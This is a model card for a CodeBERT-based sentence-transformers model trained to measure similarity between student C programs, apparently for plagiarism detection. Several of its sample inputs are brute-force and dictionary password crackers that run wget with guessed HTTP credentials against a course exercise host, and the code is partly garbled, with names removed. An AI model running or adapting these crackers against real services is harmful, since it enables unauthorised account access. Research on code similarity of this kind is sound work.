SentenceTransformer based on microsoft/codebert-base

This is a sentence-transformers model finetuned from microsoft/codebert-base. It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more.

Model Details

Model Description

Model Type: Sentence Transformer
Base model: microsoft/codebert-base
Maximum Sequence Length: 512 tokens
Output Dimensionality: 768 dimensions
Similarity Function: Cosine Similarity

Model Sources

Documentation: Sentence Transformers Documentation
Repository: Sentence Transformers on GitHub
Hugging Face: Sentence Transformers on Hugging Face

Full Model Architecture

SentenceTransformer(
  (0): Transformer({'max_seq_length': 512, 'do_lower_case': False, 'architecture': 'RobertaModel'})
  (1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True})
)

Usage

Direct Usage (Sentence Transformers)

First install the Sentence Transformers library:

pip install -U sentence-transformers

Then you can load this model and run inference.

from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-CodeBERT-ST")
# Run inference
sentences = [
    '\n\n\n#include <stdio.h>\n\n#include <stdlib.h>\nint ()\n{\n  int i,j,k,counter =0;\n  char  word[3];\n  char paswd[3];\t\n  char get[100];\n  int ;\n  char username[]="";\n  \n  \n  \n  \n  \n\t\t\t\t\n\t\n\tfor (i = 65; i <= 122; i++)\n\t{\n\t\t if(i==91) {i=97;} \n   \n\t\tfor (j = 65; j <= 122; j++)\n\t\t{\n\t\t\n\t\tif(j==91) {j=97;}\n      \n\t\tfor (k = 65; k <= 122; k++)\n\t\t{\n\t\t \n\t\t\tif(k==91) {k=97;}  \n\t\t\t\n\t\t\t word[0] = i;\n\t\t\t word[1] = j;\n\t\t\t word[2] = k;\n\t\t\t sprintf(paswd,"%c%c%c",word[0],word[1],word[2]);       \n\t\t\t counter++;\n\t\t\tprintf("%d )%s\\n\\n", counter, paswd);\n\t\t\t sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,paswd);\n\t\t\t=system(get);\n\t  \n\t\t\tif(==0) \n\t\t\t{\n\t\t\tprintf("The Password has been cracked and it is : %s" , paswd);\n\t\t\texit(0);\n\t\t\t}\n\t\t}\n     \n\t\t}\n  \n\t}\n  \n\t\n}\n\n',
    '\n\n#include<stdio.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<ctype.h>\n#define MAX_SIZE 255\n\n\nint  (int argc, char *argv[])\n {\n     FILE *fp;\n     \n   while(1)\n    {       \n      system("wget -p http://www.cs.rmit.edu./students");\n\n\n\n      system("mkdir data"); \n      if((fp=fopen("./data/index.html","r"))==NULL)\n       { \n         system("cp www.cs.rmit.edu./students/index.html ./data");\n\t \n       }\n      else\n       {  \n               \n\t \n\t system("diff ./data/index.html www.cs.rmit.edu./students/index.html | mail @cs.rmit.edu.");\n\t system("cp www.cs.rmit.edu./students/index.html ./data");\n       }     \n\n\n\n      system("mkdir images"); \n      if((fp=fopen("./images/file.txt","r"))==NULL)\n       { \n          system("md5sum www.cs.rmit.edu./images/*.* > ./images/file.txt");\n\t\t \n       }\n      \n      else\n       {          \n          system("md5sum www.cs.rmit.edu./images/*.* > www.cs.rmit.edu./file.txt");\n\t \n\t \n\t \n\t system("diff ./images/file.txt www.cs.rmit.edu./file.txt | mail @cs.rmit.edu.");\n\t system("cp www.cs.rmit.edu./file.txt ./images");\n       }\n     sleep(86400); \n    }\t\n     return (EXIT_SUCCESS);\n  }\n     \n\t   \n\t  \t\n',
    '\n\n#include <stdio.h>\n#include <string.h>\n#include <sys/time.h>\n\n#define OneBillion 1e9\n#define false 0\n#define true 1\nint execPassword(char *, char *b) {\n\n\n    char [100]={\'\\0\'};\n    strcpy(,b);\n    \n    strcat(,);\n    printf ("Sending command %s\\n",);\n    if ( system()== 0) {\n       printf ("\\n password is : %s",);\n       return 1;\n    }\n    return 0;\n}\n \n\nint bruteForce(char [],char comb[],char *url) {\n\n\nint i,j,k;\n\n   for(i=0;i<52 ;i++) {\n        comb[0]= [i];\n        if (execPassword(comb,url)== 1) return 1; \n          for(j=0;j<52;j++) {\n              comb[1] = [j];\n              if(execPassword(comb,url)==1) return 1;\n                for(k=0;k<52;k++) {\n                    comb[2] = [k];\n                    if(execPassword(comb,url)==1) return 1;\n                }\n          comb[1] = \'\\0\';\n     }\n   }\n   return 0;\n\n} \n\nint  (char *argc, char *argv[]) {\n\n int i,j,k;\n char strin[80] = {\'\\0\'};\n char *passwd;\n char a[] = {\'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\',\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\n char v[4]={\'\\0\'};\n int startTime, stopTime, final;\n int flag=false; \n strcpy(strin,"wget http://sec-crack.cs.rmit.edu./SEC/2/ --http-user= --http-passwd=");\n\n  startTime = time();\n    if (bruteForce(a,v,strin)==1) {\n      stopTime = time();\n      final = stopTime-startTime;\n    }\n\n       printf ("\\n The password is : %s",v);\n       printf("%lld nanoseconds (%lf) seconds \\n", final,  (double)final/OneBillion );\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9892, 0.9953],
#         [0.9892, 1.0000, 0.9908],
#         [0.9953, 0.9908, 1.0000]])

Training Details

Training Dataset

Unnamed Dataset

Size: 3,081 training samples
Columns: sentence_0, sentence_1, and label
Approximate statistics based on the first 1000 samples:
sentence_0 sentence_1 label
type string string int
details
min: 194 tokens
mean: 471.57 tokens
max: 512 tokens

min: 194 tokens
mean: 458.65 tokens
max: 512 tokens

0: ~99.20%
1: ~0.80%

	sentence_0	sentence_1	label
type	string	string	int
details	min: 194 tokens mean: 471.57 tokens max: 512 tokens	min: 194 tokens mean: 458.65 tokens max: 512 tokens	0: ~99.20% 1: ~0.80%

Samples:

sentence_0	sentence_1	label
#include #include #include #include #include #include #include int () { int i,j,k,syst; char password[4],first[100],last[100]; int count =0; char arr[52] ={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z', 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'}; strcpy(first, "wget --http-user= --http-passwd="); strcpy(last, " http://sec-crack.cs.rmit.edu./SEC/2/"); int Start_time,End_time,Total_time,average; Start_time = time(); printf(" Time =%11dms\n", Start_time); for (i=0;i<=52;i++) { for (j=0;j<=52;j++) { for(k=0;k<=52;k++) { password[0] = arr[i]; password[1] = arr[j]; password[2] = arr[k]; password[3] = '\0'; printf(" The Combination of the password tried %s \n" ,password); printf("*...	#include #include #include #include #include #include int () { int i,j,k,sysoutput; char pass[4],b[50], a[50],c[51] ,[2],string1[100],string2[100],temp1[3]; char arr[52] ={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z', 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'}; strcpy(string1, "wget --http-user= --http-passwd="); strcpy(string2, " http://sec-crack.cs.rmit.edu./SEC/2/"); for (i=0;i<=52;i++) { [0] = arr[i]; [1] ='\0'; strcpy(a,); printf("The first value is %s \n", a); for (j=0;j<=52;j++) { [0] = arr[j]; [1] = '\0'; strcpy(temp1,a); strcat(a,); strcpy(b,a); strcpy(a,temp1); printf("The second value is %s \n", b); for(k=0;k<=52;k++) { [0] =arr[k]; [1] = '\0...	`1`
#include #include #include #include #include () { int i,m,k,count=0; FILE* diction; FILE* log; char s[30]; char pic[30]; char add[1000]; char end[100]; time_t ,finish; double ttime; strcpy(add,"wget --http-user= --http-passwd="); strcpy( end,"-nv -o logd http://sec-crack.cs.rmit.edu./SEC/2/"); diction=fopen("/usr/share/lib/dict/words","r"); =time(NULL); while(fgets(s,100,diction)!=NULL) { printf("%s\n",s); for(m=40,k=0;k<(strlen(s)-1);k++,m++) { add[m]=s[k]; } add[m++]=' '; for(i=0;i<50;i++,m++) { add[m]=end[i]; } add[m]='\0'; system(add); count++; log=fopen("logd","r"); fgets(pic,100,log); printf("%s",pic); if(strcmp(pic,"Authorization failed.\n")!=0) { finish=time(NULL); ttime=difftime(,finish); printf( "\n The time_var take:%f/n The of passwords tried is %d\n",ttime,count); break; } fclose(log); } }	#include #include #include int () { int i,j,k,cntr=0; char pass[3]; char password[3]; char get[96]; char username[]=""; int R_VALUE; double time_used; clock_t ,end; =clock(); for (i = 65; i <= 122; i++) { if(i==91) {i=97;} for (j = 65; j <= 122; j++) { if(j==91) {j=97;} for (k = 65; k <= 122; k++) { if(k==91) {k=97;} pass[0] = i; pass[1] = j; pass[2] = k; sprintf(password,"%c%c%c",pass[0],pass[1],pass[2]); cntr++; printf("%d )%s\n\n", cntr, password); sprintf(get,"wget --non-verbose --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,password); R_VALUE=system(get); if(R_VALUE==0) { printf("The Password has been cracked and it is : %s" , password); ...	`0`
#include #include #include int () { char url[30]; int exitValue=-1; FILE fr; char s[300]; system("rm index.html"); system("wget http://www.cs.rmit.edu./students/ "); system("mv index.html one.html"); printf("System completed Writing\n"); system("sleep 3600"); system("wget http://www.cs.rmit.edu./students/ "); exitValue=system("diff one.html index.html > .out" ); fr=fopen(".out","r"); strcpy(s,"mailx -s "Testing Again""); strcat(s," < .out"); if(fgets(url,30,fr)) { system(s); system("rm one.html"); printf("\nCheck your mail") ; fclose(fr); } else { printf(" changes detected"); system("rm one.html"); fc...	#include #include #include #include #include int () { int m,n,o,i; time_t u1,u2; char v[3]; char temp1[100]; char temp2[100]; char temp3[250]; FILE *fin1; char point[25]; fin1=fopen("./words.txt","r"); if(fin1==NULL) { printf(" open the file "); exit(0); } strcpy(temp2," --http-user= --http-passwd="); strcpy(temp1,"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php"); strcpy(temp3,""); (void) time(&u1); while(!feof(fin1)) { fgets(point,25,fin1); if(strlen(point)<=4) { strcpy(temp3,temp1); strcat(temp3,temp2); strcat(temp3,point); printf("\nSending the %s\n",temp3); i=system(temp3); if(i==0) { (void) time(&u2); printf("\n The password is %s\n",point); printf("\n\nThe time_var taken crack the passwork is %d second\n\n",(int)(u2-u1)); exit(0); } else { strcpy(temp3,""); } } } } ...	`0`

Loss: BatchAllTripletLoss

Training Hyperparameters

Non-Default Hyperparameters

per_device_train_batch_size: 16
per_device_eval_batch_size: 16
num_train_epochs: 1
fp16: True
multi_dataset_batch_sampler: round_robin

All Hyperparameters

Click to expand

overwrite_output_dir: False
do_predict: False
eval_strategy: no
prediction_loss_only: True
per_device_train_batch_size: 16
per_device_eval_batch_size: 16
per_gpu_train_batch_size: None
per_gpu_eval_batch_size: None
gradient_accumulation_steps: 1
eval_accumulation_steps: None
torch_empty_cache_steps: None
learning_rate: 5e-05
weight_decay: 0.0
adam_beta1: 0.9
adam_beta2: 0.999
adam_epsilon: 1e-08
max_grad_norm: 1
num_train_epochs: 1
max_steps: -1
lr_scheduler_type: linear
lr_scheduler_kwargs: {}
warmup_ratio: 0.0
warmup_steps: 0
log_level: passive
log_level_replica: warning
log_on_each_node: True
logging_nan_inf_filter: True
save_safetensors: True
save_on_each_node: False
save_only_model: False
restore_callback_states_from_checkpoint: False
no_cuda: False
use_cpu: False
use_mps_device: False
seed: 42
data_seed: None
jit_mode_eval: False
use_ipex: False
bf16: False
fp16: True
fp16_opt_level: O1
half_precision_backend: auto
bf16_full_eval: False
fp16_full_eval: False
tf32: None
local_rank: 0
ddp_backend: None
tpu_num_cores: None
tpu_metrics_debug: False
debug: []
dataloader_drop_last: False
dataloader_num_workers: 0
dataloader_prefetch_factor: None
past_index: -1
disable_tqdm: False
remove_unused_columns: True
label_names: None
load_best_model_at_end: False
ignore_data_skip: False
fsdp: []
fsdp_min_num_params: 0
fsdp_config: {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False}
fsdp_transformer_layer_cls_to_wrap: None
accelerator_config: {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None}
deepspeed: None
label_smoothing_factor: 0.0
optim: adamw_torch
optim_args: None
adafactor: False
group_by_length: False
length_column_name: length
ddp_find_unused_parameters: None
ddp_bucket_cap_mb: None
ddp_broadcast_buffers: False
dataloader_pin_memory: True
dataloader_persistent_workers: False
skip_memory_metrics: True
use_legacy_prediction_loop: False
push_to_hub: False
resume_from_checkpoint: None
hub_model_id: None
hub_strategy: every_save
hub_private_repo: None
hub_always_push: False
gradient_checkpointing: False
gradient_checkpointing_kwargs: None
include_inputs_for_metrics: False
include_for_metrics: []
eval_do_concat_batches: True
fp16_backend: auto
push_to_hub_model_id: None
push_to_hub_organization: None
mp_parameters:
auto_find_batch_size: False
full_determinism: False
torchdynamo: None
ray_scope: last
ddp_timeout: 1800
torch_compile: False
torch_compile_backend: None
torch_compile_mode: None
include_tokens_per_second: False
include_num_input_tokens_seen: False
neftune_noise_alpha: None
optim_target_modules: None
batch_eval_metrics: False
eval_on_start: False
use_liger_kernel: False
eval_use_gather_object: False
average_tokens_across_devices: False
prompts: None
batch_sampler: batch_sampler
multi_dataset_batch_sampler: round_robin
router_mapping: {}
learning_rate_mapping: {}

Framework Versions

Python: 3.11.13
Sentence Transformers: 5.0.0
Transformers: 4.52.4
PyTorch: 2.6.0+cu124
Accelerate: 1.8.1
Datasets: 3.6.0
Tokenizers: 0.21.2

Citation

BibTeX

Sentence Transformers

@inproceedings{reimers-2019-sentence-bert,
    title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks",
    author = "Reimers, Nils and Gurevych, Iryna",
    booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing",
    month = "11",
    year = "2019",
    publisher = "Association for Computational Linguistics",
    url = "https://arxiv.org/abs/1908.10084",
}

BatchAllTripletLoss

@misc{hermans2017defense,
    title={In Defense of the Triplet Loss for Person Re-Identification},
    author={Alexander Hermans and Lucas Beyer and Bastian Leibe},
    year={2017},
    eprint={1703.07737},
    archivePrefix={arXiv},
    primaryClass={cs.CV}
}

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Safetensors

Model size

0.1B params

Tensor type

F32

Model tree for buelfhood/SOCO-C-CodeBERT-ST

Base model

microsoft/codebert-base

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(125)

this model